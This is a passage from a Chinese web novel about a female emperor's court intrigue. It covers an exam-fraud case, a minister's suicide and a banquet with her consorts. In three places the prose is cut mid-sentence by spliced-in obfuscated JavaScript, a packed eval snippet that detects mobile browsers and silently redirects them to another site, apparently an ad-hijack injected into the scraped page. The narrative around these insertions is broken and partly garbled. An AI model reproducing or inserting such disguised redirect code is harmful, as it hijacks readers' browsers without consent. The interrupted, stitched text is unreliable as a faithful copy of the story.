先帝端起茶杯啜饮一口,良久又问:“既然知晓自己的作用,亦明知太女遭人算计,你又为何袖手旁观?” 原主沉默几息:“儿臣不甘。” “不甘?”先帝轻嗤一声:“你算个什么东西!舞郎之女,卑贱之躯!不好好保护太女,竟敢让她身负重伤!” 茶盏自先帝之手横飞而来,原主微一侧身就躲开了,啪的一声脆响,茶杯摔在地上支离破碎,先帝厉声斥问响彻殿宇:“朕留你还有什么用?” 原主回头看了眼地上的残渣,面无表情转过头来:“于母皇眼里,儿臣是个意外;于姊妹眼里,儿臣是个污秽;于太女眼里,儿臣是条狗。可于儿臣自身眼中,儿臣是个人,是个心高气傲、聪慧通达的人。儿臣可以无声无息的活着;可若要儿臣一辈子低眉顺眼,任人踩在脚下苟且偷生,那恕儿臣做不到。” 先帝眸色一凌。 原主抬眸迎上,一脸平静:“儿臣牢记母皇教诲,此生都不会有软肋,因而做事毫无顾忌。所以太女若再敢招惹儿臣,儿臣下次就要了她的命。” “啪——” 先帝怒拍桌案:“混账东西!” 原主终于有些丝情绪,裴源感同身受,是讥讽、亦是冷嘲:“除了这条贱命,儿臣一无所有,母皇若想要,拿走便是。儿臣跪的膝盖疼,若母皇再无别的嘱咐,恕儿臣不便久留。” 说罢,摇摇晃晃起身:“儿臣告退。” 转身跌跌撞撞的走进了温暖的阳光里,只是阳光太过刺眼,裴源努力睁眼,看到一张焦急担忧的面庞。 他唤自己‘阿源’,宽慰自己‘再忍忍,马上就不痛了。’ 裴源气若游丝:“君后能换句台词吗?每次都是这句,朕都听腻了。” 陆长行一愣,旋即紧紧将她拥入怀里,声音颤抖,却阴沉至极:“找到他!杀了他!” 22. 第 22 章 裴源觉得原主有些平静的疯感。 口舌上的侮辱,原主似乎并不甚在意,她只注重自己切身实际的感受。 太女可以当众辱她是舞郎之女,她听了,想回应就一笑了之;不想回应,那话便如同风一般在耳边吹散了。 但太女命她当众跳舞取乐众人这件事,原主忍不了。首先,她不会跳舞;其次,被人当成狗,与被人当狗耍,本质上还是有很大区别的。 于是,在明知筵席上有人欲取太女性命时,她非但未加以警示,甚至还在暴乱场中作壁上观,抱臂赏景。 直至凶徒举剑横刺太女的面门,她才终于有了动作。拔簪精准刺穿对方的手腕,长剑掉落时,她只冷冰冰地落下了一个字:“滚!” 说完,利落抬脚,直接将对方踹出了一丈远。 她救下了太女的狗命,也放任凶徒全身而退。 午时刚过,沉睡的凤帝幽幽转醒,醒来后的第一件事就是在殿中伸腿猛踹空气。许是裙袍太过累赘,所以动作看起来有些笨拙,偶尔伴随着“嘿嘿哈哈”的低吼。 陆长行恰好从偏殿泡好了温茶过来,一见之下,满脸担忧:“陛下坠落时……当真不是头着地吗?” 浮尘的手把轻轻搔了搔额头,乌宛白眉头紧蹙,一时竟也说不准当时。 这时,小宫女疾步而来:“君后,礼部尚书殿外求见。” 傅泽惠? 陆长行担忧的眉宇顺势舒展,取而代之的是一脸冷漠。 凤帝闻言,神色与君后如出一辙:“朕和一个将死之人没什么好聊的,不见。” 说着,伸手去接君后奉来的茶,二人指尖短暂相触,凤帝下意识抬眼,柳叶眸光流转间,携着一丝淡淡笑意,开口饶有深意:“陛下,人之将死,其言也善。” 裴源沉默几息,招来乌宛白耳语几句。 新帝继位三载,傅泽惠每次参见小凤帝,皆是随众臣同列,今日独身前来,还是破天荒的头一次。 万万没想到,她却吃了一个闭门羹。 “傅大人来的不巧,陛下头疾复发,太医嘱托需好生修养,不宜相谈政务,傅大人还是请回吧。” 一场春雨,让朝堂风云突变。本朝权势滔天的齐翁,竟在一夜之间倒戈,朝堂局势瞬间逆转。 作为齐翁昔日的马前卒,傅泽惠无端感受到了恐慌;这种不安,自工部尚书刘丝柳意外惨死之时,便已如影随形。 所以听了乌宛白的话,傅泽惠的从容不复存在。 她准备了一肚子话,试图以迂回而递进的方式,欲对凤帝表露忠心,结果,竟连凤帝的面都没见到。 傅泽惠有些不甘,亦有些愤慨,她负手挺立,居高睨看面前背脊微弯的宫女,神色蔑视:“本官有很重要的事要当面禀奏陛下,还望乌尚宫再次通传,以免误了国事!” 乌宛白未将她的神色放在心上,闻言只是嘴角微勾,一脸从容:“比之国事,陛下现有三问更为苦恼。若傅大人能为陛下解惑,她的头疾之症许能轻缓不少。” 傅泽惠闻言,眼角微挑:“乌尚宫不妨说来听听。” 乌宛白道:“这第一问:先帝,是个怎样的帝王?” 傅泽惠有些不解。 乌宛白又道:“第二问:刘丝柳,是个怎样的朝臣?” 傅泽惠眉头紧蹙,依然不明所以。 乌宛白敛起笑容:“第三问,先帝可知刘丝柳的本来面目?” 傅泽惠一愣。 短暂的深思之后,傅泽惠通体生寒,不知不觉间,额头甚至沁出一层细密的冷汗。 她想试着说些什么,可终究只字未语。 乌宛白见势一扫浮尘,轻飘飘道:“傅大人慢走。” 午后阳光温暖,可傅泽惠却觉得一股寒意从脊背直透心扉,她愣愣的站在原地,直至再也看不到乌宛白的身影,方才如大梦初醒一般回过神来。 她扑通一声跪在鹅卵石地上,凸起的石子仿佛硌破了她的膝盖,可她却丝毫不觉得疼,反而重重叩首,沉重的声音似从心底里发出:“臣,自此拜别,愿吾皇陛下,万岁长安!” 声音传入凝辉内殿。 裴源轻轻摩挲着指间乌黑发亮的黑玉扳指,倚靠凭几,眸色幽深。 “母皇膝下有女八位,论出身、论能力,朕皆排在末位,因而一直被母皇所嫌弃。可偏偏这皇位,最后却传到了朕的身上。” 陆长行轻轻拨弄着香炉中颜色偏深的香灰,动作轻柔而谨慎,唯恐搅起灰烬,弄脏了茶案。因此,对于凤帝的自言自语,他并未回应,只是柳叶般的眸光微微黯淡了些,愈发觉得香炉中残存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194372|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香灰刺眼无比。 这时,裴源的声音再次幽幽传来,仿佛是从心底深处传出的低吟。 “没有父族,便不会有外戚干政;没有软肋,做事便无所顾忌。在母皇眼中,朕是天生的帝王继承者,却唯独有一个缺点:不够心狠手辣。 母皇深知,她若不重视朕,群臣便不会真心拥戴朕;姊妹若不敬朕,群臣便不会尊重朕。朕从未做过一天太女,所以驾崩时宫女口谕的遗诏,不仅引发了群臣对朕的猜忌,也让姊妹手足怀疑朕暗中使了手段。因此继位后,朕面对的是一群不敬、不重、不屑于朕的朝臣与番王。 母皇料到,朕一定会选择隐忍退让,给予朝臣效忠的机会;她更清楚,朕终究会被朝臣的贪得无厌、得寸进尺逼得忍无可忍,然后逐渐变成一个冷血无情的帝王。母皇算无遗漏,早已预设,最先祭朕御刀的朝臣,正是刘丝柳与傅泽辉。” 裴源叹了口气:“时隔三年,朕拆封了母皇留给朕的礼物。可朕这心里,怎么一点也不快活啊?” 陆长行将搅乱的香灰缓缓压平,闻言,淡淡道:“春汤灌脏,洗涤肝肠。如今正是春菜萌出时节,臣已命诸君准备晚膳,阖宫家宴时,陛下多瞧瞧才俊美色,想必能一扫阴霾,心中欢快。” 裴源收回目光看向陆长行。男子颔首专注着自己的事务,柳叶眸微微低垂,带着几分淡漠,又似藏着几分别样情绪。修长的手指轻轻压着香炉中的香灰,动作轻柔而缓慢,仿佛在安抚着女帝情绪不稳的心。半束的长发如瀑般柔顺垂落,随着他的动作轻轻晃动,勾的裴源心思萌动。 她轻轻勾了勾手指,动作细微,却还是被专注的男子察觉。 陆长行放下手中的香压,缓缓侧身攀上方台,动作优雅的挪到女子面前时,才微微抬头,与裴源对视的眼眸似承着闪烁的星光。 可他的神色从容,并未流露出太多情绪,只是默默矮下身子,将头枕在了凤帝的腿上。 “陛下不喜欢臣的安排?” 裴源说不出喜欢与否,只是轻抚男子柔顺的青丝:“君后又在算计朕什么?” 手指穿过发间无比轻柔,陆长行不由阖上了眼:“臣永远都不会算计陛下,只会想法设防讨陛下欢心。” 裴源面无表情:“信了你的鬼。” 陆长行:“……” 23. 第 23 章 夜幕四合,天穹如墨,虽无明月高悬,但殿宇之上华灯高挂,将宫殿照得如同白昼。宫侍们穿梭于席间,很快,一盘盘精美的菜肴很就被盛放至各君案上。 女帝高坐主位,凤目微抬,扫视诸君,举手投足间气质高贵威严,尽显帝王风范。君后端然侧位,面容从容,柳叶眸中带着几分淡然,与女帝的威严气质相得益彰。 殿内,舞姬舞郎轻歌曼舞,乐声悠扬,为盛宴增添了灵动气氛。 一舞停歇,韩柏自告奋勇要弹奏一曲,少年落在凤帝脸上的星眸宛若银河,像是期待什么。 “既病着,就好好歇着,弹什么曲?”凤帝嘴角微勾,似在调丨情:“等身子好了,单独弹与朕听。” 韩柏脸上染上一抹绯红,重新落座后,满脸蜜意。 郭嘉安冷哼一声,语气酸酸道:“陛下好生小气,不过一首曲子,臣等竟也不配听了?” 凤帝喟叹一声,凤眸落在他的艳丽的脸上稍显宠溺,打趣他道:“整日心思都用在涂脂抹粉上,听的懂曲子吗你?朕是顾全你的体面,你竟还不领情。” 诸君齐声笑他。 郭嘉安觉得没脸,嗔着白了裴源一眼:“陛下!” 裴源挑眉看他:“还敢瞪朕,真是越来越没规矩。” 郭嘉安不情不愿的端杯起身:“臣错了,自罚一杯。” 说着,干脆利落的举杯一饮而尽,裴源陪了一口,放下杯盏时,目光意外落到了柳书玉的身上。 他还是初见时的模样,整个人游离在状况之外,仿佛与这个宴会格格不入,似察觉到了凤帝的注视,柳玉书转过头。 四目相对几息,一抹羞赧浮在面上,短暂平复,柳玉书端杯起身:“春回大地暖,万物竞新生。臣祝陛下江山永固,万年常青。” 凤眸微微凝实落在男子脸上,似有些赞赏的开口:“超然尘世外,心随明月风。朕亦愿君逍遥自在,心如止水。” 柳玉书一怔,心有千思情绪却丝毫不显,只是慢慢饮下一杯清酒,酒水入喉直抵肠胃,如火烧一般炽烈。他强忍着入座后,才抬袖掩面咳了两声。 陆长行看在眼中,抬手示意,解安了悟,躬身退出殿外。 再入殿时,身后跟着两排的宫侍,每人手里都端着一盅汤,纷纷放在了诸君桌案。 庄与之好奇掀开盅盖,一股药香扑面而来,再看汤液是淡淡的黄绿色,清澈透明,汤面点缀了几片薄薄的花瓣,显的没那般单调。 庄与之蹙眉道:“这是?” 陆长行回:“这是今夜的第四道汤:草木清汤,排毒养颜佳品,诸君都尝一尝吧。” 今夜筵席,诸君皆有备而来,有人带了糕点,有人带了菜肴,还有人带了自酿的果酒……君后也不甘落后,带了很多汤。 庄与之搅弄着汤汁,汤液看着清澈,没想到格外粘稠。诸君品饮过后赞不绝口,唯独他眉心紧蹙,略带嫌弃。 陆长行开口问道:“看来这道草木清汤,不合德君的胃口。” 庄与之‘叮’的一下放下汤匙:“君后恕罪,臣已饱腹,实在喝不下了。” 陆长行端茶啜饮,恍若未闻,俨然是对他之举略显不满。 傅逸春摩挲着汤匙,打破沉默:“为了这场春夜宴,君后费尽心思,连汤就备下了八道,而今才奉上第四道德君便已经饱腹。那德君今夜,恐有的闲了。” 庄与之瞥他一眼:“本宫闻着这汤有股草药味,实喝不惯,这才找了一个说辞,君后向来大度,想来也不会与臣计较的。却不想,逸侧君却当了真。” 傅逸春挑眉,态度随意:“德君嗅觉非常,臣只闻到了清新的草木香,入口也只有甘甜。” 庄与之脸色微僵,看向傅逸春略带嘲弄:“逸侧君向来不谙世事,这药香味闻不出来,想必是平日里只知躲在绮梦殿里誊写经文,被墨香浸染的连这凡尘俗世的味道都闻不出了。依本宫之见,你那经文写的也没什么意思,天要下雨,地要生尘,有些事已成定局……你求菩萨也没用!” 傅逸春面色一沉。 倒是君后微微一笑,柳叶眸平静的落在庄与之脸上:“这草木清汤以草木为材,因而会有草木之香。至于德君口中的药香……德君向来耳聪目明,洞察八面,听的多了,看的多了,难免疑心横生,五感敏感,才误以为这汤中飘的是药味。” 庄与之的脸色微变,意识到君后的话中似乎另有深意,却也不愿示弱:“臣向来愚钝,哪有什么敏锐的五感?君后抬举臣了。” 他说罢起身揖礼:“宫宴酒烈,臣吃醉了,出去透口气,还望陛下、君后见谅。” 语落,不等帝后允准,直接转身拂袖而去。 诸君目送其远去,新曲儿随之奏响,裴源看着庄与之案上汤盅眸色微深,颔首搅弄起面前的汤盅,药涩之气浓烈,熏得她忍不住蹙眉,可她还是舀了一勺入口,苦涩由舌尖蔓延,入喉一瞬,竟有腥臭味涌上心头。 尽管努力压制,喉咙还是不停涌动。 此时,计安疾步而入,行至乌宛白身侧小声道:“陆指挥使求见。” 裴源听得真切,不等乌宛白上前通禀,拿起一块酸枣糕入口。 “带朕去见!” 一出宫殿,清风拂面,酸枣糕压下了腹中的翻涌,清新的空气亦缓解了肠胃的不适。裴源迈开步子大步向前。 乌宛白连忙跟上,一边小跑一边急切地说道:“陛下,您慢些,这夜路不好走……” 随着御驾的远去,琴瑟声被春风拂过万物的莎莎声取代。 御花园的假山丛中,阴影交错,形成了一块昏暗区域。凤帝的身影悄然出现,冷白的面容在朦胧夜色里显得格外冷峻。 陆萧玉与来人齐齐作揖:“陛下!” 裴源站在阴影中看向陆萧玉身后之人,虽然夜行衣将她包裹的严严实实,可裴源还是认出了她的身份:“不好好在齐翁面前效力,大半夜跟着陆萧玉鬼混什么?” 曾芩燕:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203785|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆萧玉急忙从怀里掏出了傅泽惠的自白书奉上:“卑职写字慢,所以才请了曾娘子帮忙,还望陛下恕罪。” 光线极暗,裴源压根看不清自白书上的内容,只借着余光端详着字迹略显潦草,与傅泽惠亦不相同,应该是匆匆誊写而成。 文书很厚,想必事无巨细交代的清楚分明,裴源问:“内容你已知晓,可有什么感想?” 这话是显然是对曾芩燕说的。 曾芩燕躬身道:“不瞒陛下,学生有些看不懂。” 裴源问:“何处不明?” 曾芩燕轻声说道:“学生在齐翁身侧侍奉两日,齐翁虽心系权柄,然其志向终究在于朝堂公正、天下清明。傅大人自诩为齐翁的马前卒,然其行事多为私利,甚至有损朝廷大义,此等行径,实与齐翁之愿景背道而驰。” 她微微一顿,语气愈发沉重:“譬如此次贡院起火之事,傅大人声称工部、礼部、国子监三方乃是奉齐翁之命行事,意图阻断寒门士子的晋升之路。可三方奉命而为的最终结果,竟是寒门士子无一人入选。齐翁乃三朝元老,自身亦出身寒门,即便真有此意,也不该将此事做得如此决绝。恕学生说句大不敬的话,齐翁已至暮年,权柄再重,也握不稳几年。何必为了一时之利,而自毁一世清誉?” 凤帝轻‘嗯’一声,似在赞同她的论点。 曾芩燕似受鼓舞,接着说道:“所以学生以为,真正的……” 话未说完,竟被陆萧玉抬手打断。 曾芩燕不明所以,陆萧玉则是跨步立在凤帝身前,目光凌厉的望向假山出口。 不消片刻,一男子缓缓退步出现,他的面前,正是持剑相抵的牧山。 牧山步步紧逼,男子步步后退,因看不清后路,男子最后背靠假山再挪动不了分毫。 这时,身后有窸窣的脚步声传来,他硬着头皮转过头,却只看到一片黑暗,可随着脚步声的临近,明黄身影若隐若现,最后,停步在他的面前。 凤眸静静凝着男子的眉眼,可落在男子的眼中,凤帝的目光竟比身前侍卫手持的剑更加凛冽。 “陛下……” 他的声音中带着一丝颤抖,眉目间的惊恐更是不加掩藏。 凤帝负手站在男子身前,幽幽开口:“柳卿君不在宫宴饮汤,跑来御花园做什么?” 柳玉书身着一袭深色锦袍,若非生了一张白皙如玉的面容,几乎要与夜色融为一体。 他开口回话,声音中带着一丝掩饰不住的慌乱:“臣醉酒不适,故而出来透透气,却被御花园的花香所引。” 他顿了顿,语气愈发诚恳:“臣当真不知陛下在此议事,若是知晓,定不会冒然前来打扰,还望陛下明察。” 裴源沉默几息,语气随意:“倒也没议论什么重要的事,所以朕并不介怀你的出现。只是朕有些好奇……” 裴源倾身向前,死死盯着他的眉眼:“柳卿君离开宫宴的缘由,到底是醉酒不适?还是君后那汤不合你的胃口?” 24. 第 24 章 凤帝的脸贴的很近,近到柳玉书可以清晰闻到淡淡的酒气,明明是极致暧昧的靠近,他的心也随之起伏狂跳,却与情愫无甚关联,只觉得恐惧。 他努力平息急促的心跳,颤抖道:“臣……真的只是不胜酒力,求陛下明鉴。” 尽管十分恐惧,可他的视线却无半分偏移,裴源眼眸微眯,实说不清他是否只是善于伪装情绪。 凤帝摆了摆手 牧山收了长剑,同陆萧玉二人一同揖礼,很快淹没在夜色之中。 柳玉书松了口气,正要开口,凤帝竟一把扼住了他的喉咙。 裴源的掌心收拢极紧,几乎没有半分怜惜,只是十数息,就扼的柳玉书喉咙滚动,面容微抬,他似乎能感受到自己面容上的血液凝固,他只能伸手去拉扯凤帝的手,求饶的呜咽声从喉咙底部发出。 “陛下……” 裴源任他去抠自己的手,收拢的力道却半分未曾收敛。 “人被扼住喉咙时,气息阻塞,瞬息之间便陷入缺氧之境。大脑对氧气极为敏感,五分钟左右,脑部就会出现不可逆的损伤;若持续十分钟,脑部便会遭受重创,极有可能沦为痴傻之人苟延残喘。你或许对这时间没什么概念,朕可以耐心告知你,一炷香燃至三分之一,便是十分钟。且让朕来瞧瞧,朕的卿君究竟能撑过多久。” 柳玉书似已失了神思,仅凭本能挣扎求生,竟忘却了面前帝王尊贵。指尖用力去抓,忽而听道女子一声冷抽,被禁锢的喉咙瞬间涌入大口空气。 他瞬间跌坐在地,手扶着胸口,喘息着干咳,过了良久,理智才渐渐回笼。 他慢慢抬头,见身前凤帝正冷冷地睨着他,垂着的手背上增添了三道抓痕,即便在昏暗的光线下也显得格外分明。 柳玉书不假思索想要握住她的手去查看伤痕,却被凤帝一个退步躲开。 男子抬起的手僵在半空,须臾,似想起了自身的处境,颔首跪在女子面前,声音嘶哑道:“臣伤及圣躬,纯属无心之失,还望陛下恕罪。” 凤帝冷哼一声:“朕掐了你,你挠了朕,这很公平,卿君与其在意这些小节,不妨好好想想,如何回答朕刚刚的问题!” 柳玉书一愣,想起刚刚凤帝的疑问,掌心在青石路上微微攥紧,似是用力克制着内心的波澜。十数息的静默后,缓缓附身,将额头贴在冰冷的地面上,声音嘶哑哽咽,仿佛带着几分委屈:“臣,思慕陛下,故而离席,想与陛下花丛偶遇说上几句话,仅此而已。” 裴源眉头微蹙,语气中带着几分不耐与冷漠:“少来这套!” 柳玉书:“……” 裴源冷冷追问:“你替韩柏出谋划策,让他以自身做饵,假意中毒,让朕怀疑傅逸春所为,把朕当成傻子,就是你思慕朕的方式?” 柳玉书身子一颤,似是难以辩解,更有被人戳破心思窘迫:“臣……臣并无此心。” 裴源乜他一眼,强压下了心底恶寒:“朕席间对你说的话,你不要当成耳旁风。往后乖乖待在后宫,朕自不会亏待你!但你若再把小聪明用在朕的身上,朕饶不了你!” 凤帝声音在昏暗的夜色中显的格外冷峻。 柳玉书只觉如坠冰窟,直至凤帝走远,匍匐在地的身躯依旧还在微微颤抖。 时至子时,紫宸殿依旧灯火通明,气氛稍显凝重。 裴源端坐在案前,眉头紧锁,久未舒展。 彼时,案上烛火被涌入殿中的疾风压弯了腰,光线明灭间,君后已将点燃安神香的香炉放置在了案头。 “臣刚瞧见,傅府的门前挂上了白灯笼。” 陆长行说话间提着药箱行至了凤椅侧,撩起衣袍缓缓跪地,正要颔首打开药箱,却被女子伸手托扶起手臂。 陆长行似有不解,由着她的力道起身,才听女子调侃道:“床榻间伏低跪俯平添深阁之乐,御案旁如此谦卑,未免有撩拨之嫌,君后莫要让朕犯错。” 男子面庞瞬时染上红晕,就连耳尖都透着粉,却也不甘任她调侃,柳叶眸底蕴出三分气怒:“难怪臣每次跪礼,陛下看臣都是饿狼捕食的凶狠模样,竟藏着这种龌龊心思。” 裴源哈哈大笑:“谁叫君后秀色可餐。” 说着,挪了挪屁股让了一半凤椅给他:“又是煲汤,又是张罗夜宴,三更半夜也不闲着,跑去城楼看谁家门前挂着白灯笼,君后仿佛有使不完的精神。” 陆长行本欲拒绝,但犹豫几息,大方落坐女子身畔,沾了药涂抹凤帝手背的抓痕:“还以为陛下又要怪臣僭越呢。” 抓痕上的血迹沾着皮肉凝固成在一起,陆长行动作轻柔擦去血痂,仿佛在安抚着女子紧绷的神经。 裴源看着香炉上袅袅飘起的白烟,繁杂的心绪似舒缓了许多,问道:“筵席也散了,君后想找的人,可找到了?” 陆长行敛起笑意:“此人狡猾,将子虫附着在了德君身上,甚至连触发的时间也做了延迟。仔细想来,陛下每次头疾复发,都是在见了德君的第二日。如此精妙的手段,臣闻所未闻,一时毫无头绪,还望陛下恕罪。” “朕不急,你也不必心焦。”裴源想了想问他:“你觉得柳玉书此人如何?” 柳叶眸微抬,陆长行凝着凤眸:“指甲锋利,堪胜大任。” 裴源:“……” 陆长行轻笑:“要怪就怪陛下生了一张绝色容颜,陛下稍一示好,哪怕是冷静自持的君子也顷刻倒戈,心思萌动。” 裴源微微蹙眉:“狗屁的心思萌动,你们就是馋朕的身子。” 陆长行:“……” 陆长行垂眸叹道:“柳玉书的母亲柳文澜乃太学博士,曾与礼部尚书傅泽惠为同窗好友,后不知因何事两人有了龃龉,自此断了往来。傅泽惠因在齐翁手下效力,仕途顺畅。柳文澜虽被落下好一截,却对傅泽惠谄媚嘴脸极为不齿。 许是一脉相承,柳玉书对诸君期盼君恩之事十分瞧不上。此次替韩柏谋划固宠,祸水引至傅逸春身上,许是察觉傅大人局势已定,料定陛下定会因傅大人迁怒傅逸春,而不会深究。成了,卖韩柏一个人情;不成,他也没什么损失。” 裴源冷哼一声,不知是不屑对柳玉书的小心思做出评判,还是本就未将他不成器的举动放在心上。 陆长行偷偷看她神色,女子神情恹恹,略显疲态,只得咽下要说的话,将伤口处理妥当后起身行了一礼:“夜深了,陛下早些休息吧,臣告退。” 裴源并未挽留,目送陆长行出了宫殿,方才低头看着眼手掌熨帖的包扎,板板正正,像极了君后的性子。 *** 翌日,朝堂因傅泽惠自缢而亡的消息陷入了良久的死寂。终于,小凤帝的哽咽声打破了沉默。 “若早知傅爱卿是抱着必死之心求见,纵然朕头疾复发,昨日也该见她一见。” 小凤帝声音颤抖,泪水潸然滑落。说到动情处,聚在下巴上的泪珠颗颗滴落,最后在明黄凤袍上晕染出一片泪痕。 齐翁感同身受,开口时亦是老泪纵横,撑着紫檀拐杖颤颤巍巍地跪下道:“陛下,老臣罪孽深重。傅大人曾受教于老臣门下,如今她犯下如此罪行,皆是老臣管教不严所致。如今她留下自白书畏罪自裁,虽死不足惜,但终究是老臣的过失。陛下节哀,老臣愿受任何责罚。” 小凤帝急忙开口:“地上凉,齐翁大病初愈如何跪得?来人,速速扶齐翁起身。” 乌宛白得命,赶忙步下石阶搀扶齐翁起身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏凡附和道:“根据傅大人罪己书所书,以及刑部这两日的彻查,基本可以确定,科舞弊案与贡院起火案,便是傅大人与刘丝柳狼狈为奸,后为掩盖罪行,混淆视听,妄图借贡院大火销毁证据,以绝后患。” 小凤帝看向韩惜灵:“韩爱卿可有要补充之处?” 韩惜灵手持笏板,站立于朝堂队列之中。闻言,缓步出列,躬身道:“回禀陛下,那夜贡院火势凶猛,诸多证据皆已付之一炬。负责修缮此次贡院的匠人,要么离奇暴毙,要么隐匿人海,无从寻觅。刘丝柳的罪证,目前多由工部官吏举报而来;傅大人的罪己书,臣尚未亲自翻阅,其中细节亦是刚刚听两位大人所述。 听上去似乎合情合理,可臣却有一事不明。科考舞弊的前提,需得提前泄露考卷内容,而考卷并不在工部或是礼部手里,学子们又因何而弊?若无考卷泄露,便不存在舞弊。然而,工部官员举报与傅大人的罪己书,却又皆承认春闱存在舞弊之嫌。此中矛盾,实在让臣百思不得其解。” 辛暮雨冷哼一声:“这春闱考卷一直由国子监管理,韩大人有此疑问,是在怀疑国子监干涉其中?那何不拿出实证来!” 韩惜灵急忙解释:“辛大人勿要误会。本官适才也说过,贡院火势凶猛,诸多证据皆已化为灰烬,本官自然无法拿出确凿证据。但心存疑问,本官又不能缄默不言。若明知疑点重重却闭口不谈,那本官不就成了蒙蔽圣上的罪人了吗?还望辛大人见谅。” 齐翁笑道:“韩大人糊涂了。大理寺与刑部共同侦办此案,如今你有疑问,夏大人却没有。这便说明夏大人知晓答案嘛,你问问夏大人不就知晓了?都是同僚,夏大人还能藏着掖着不告诉你?” “齐翁教训的是。”韩惜灵恍然,转身望向刑部尚书:“还望夏大人不吝赐教。” 25. 第 25 章 夏凡似早有对策,马上从袖口取出奏折呈上:“陛下,经刑部彻查,泄露考题之人,乃是国子监典簿厉丽文。此人素来好赌,欠下赌场万两银子,因而被刘丝柳贿赂收买,铤而走险,偷取试卷!刑部对其连夜审问,她对自己罪行供认不讳。” 辛暮雨闻言一愣,立在殿中的身子微微晃动:“夏大人说的是谁?厉丽文?那可是本官最器重的小辈!她怎可如此糊涂!” 夏凡连忙安抚道:“本官正是担心辛祭酒得知此事后难以承受,所以才一直隐瞒至今。万幸此人还有些良心,深觉愧对辛祭酒的栽培,所以趁着衙役不备,咬舌自尽,也算是对自己的惩罚。” 口供先一步到了齐翁的手上,比之小凤帝的‘震怒’,齐翁的情绪掩藏的极好,只是冷眼扫向演戏的两人:“这还真是巧了。” 夏凡闻言,对小凤帝跪下,语气诚恳道:“未能阻止厉丽文自尽,是臣的失职,还望陛下责罚。” 小凤帝拍案而起,横指夏凡的手都在颤抖,最后只落下一句:“满纸荒唐,一派胡言!” 说罢,拂袖而去。 散朝后,齐翁亲来安抚。 “老臣知晓陛下心中不甘,但大理寺实在找不出辛暮雨参与舞弊的证据。如今此案已牵涉朝中两部的两位大臣,若再继续追查下去,只怕结果依旧徒劳,反而会成为天下学子的笑柄,有损朝廷威信。” 凤案后的小凤帝沉默良久,似受了委屈的孩子,眼神中闪过一丝不甘,但最终还是无奈妥协,轻叹一声道:“那就依齐翁之意,此案告罄吧。” 齐翁眼中闪过一丝赞赏,恰好此时,太学博士柳文澜双手奉上重新判定的春闱成绩,躬身道:“陛下,臣奉命重新审核春闱考卷,现将最终判定的成绩呈上,望陛下御览。” 小凤帝接过柳文澜呈上的春闱成绩,与齐翁一同查看。两人细细审阅后,均未发现任何问题。 小凤帝十分满意:“既如此,便依此成绩定榜。” 说罢,取出御印,郑重的在成绩册上落下印记,随后吩咐道:“择吉日张贴,昭告天下。” 两日后,风和日丽,万里无云。因贡院被焚,故此,榜单悬于朱雀门前。 与前几日寒门学子齐呼不满的场景截然不同,那日的朱雀门前,只有欢呼声此起彼伏。 曾芩燕看着榜单上自己的名字热泪盈眶,不由自主地抬首望向耸立的城墙,没来由地感觉到一双凤眸,正居高临下欣赏着城门前的这一幕。 榜单揭晓之日,三道圣谕传遍六宫。 韩侍君晋封为卿君;柳玉书擢升为侧君,赐封号‘文’;傅逸春褫夺封号,降为侍君。 旨意既下,碧落宫与朝霞殿皆是一片喧腾,只有傅逸春的绮梦殿格外冷清,一片凄清。 相较于刘丝柳满门被罚,傅府得到了莫大的宽宥。 傅泽惠认罪自裁,凤帝念其尚有悔意,给予了格外的宽纵。虽抄没家中财物,流放了家中女子。但府中男眷与未成年的子嗣皆未牵连,甚至还保留傅逸春后君的身份。 傅逸春的心境从未如今日这般放松。他研墨提笔,书写经文,最后一字落下,心满意足地放下紫毫笔,才恍然发觉一道明黄身影侧立案前,正手持墨块替自己研着磨。 傅逸春猛地抬眼,竟见昔日高不可攀的凤帝,正静静端详着自己书写的经文。他一时愕然,回神后忙不迭地跪在凤帝面前:“臣不知御驾亲临,还望陛下恕罪。” 裴源恍若未闻,放下墨块,拿起他的经文开口吟诵:“观自在菩萨……不自在? 傅逸春:“……” 裴源挑眉又念:“行深般若波罗蜜……一行就是几千里?” 傅逸春:“……” “照见五蕴皆苦厄?色是空,空是色,受如是,想如是,受想如是皆如是?” 裴源一整个大震惊:“傅君啊,你这心经在哪个庙上请的?” 傅逸春满面涨红,沉默数息后,忽而从地上拔地而起,凤帝猝不及防,竟被吓的退了一步,而后更加愕然的盯着他。 傅逸春一脸无措,在后退和下跪之间,选择伸手夺下凤帝手中的经文。 “此经文乃不自在菩萨梦中所传。”他五官僵硬道:“陛下渴了吧?臣刚命人煮了一锅米粥,陛下稍后,臣这就去盛。” 说完,一溜烟儿,不见了影儿。 裴源:“……” 渴了,喝米粥?这样对嘛? 她错了,不该降他为侍君,反而应擢升此人为君,赐封号‘抽象’。 简称:抽象君。 不多时,裴源看着面前那热气腾腾肉丝粥再次陷入了沉默,良久才道:“朕还以为,傅君会因傅大人之死,而食不下咽。” 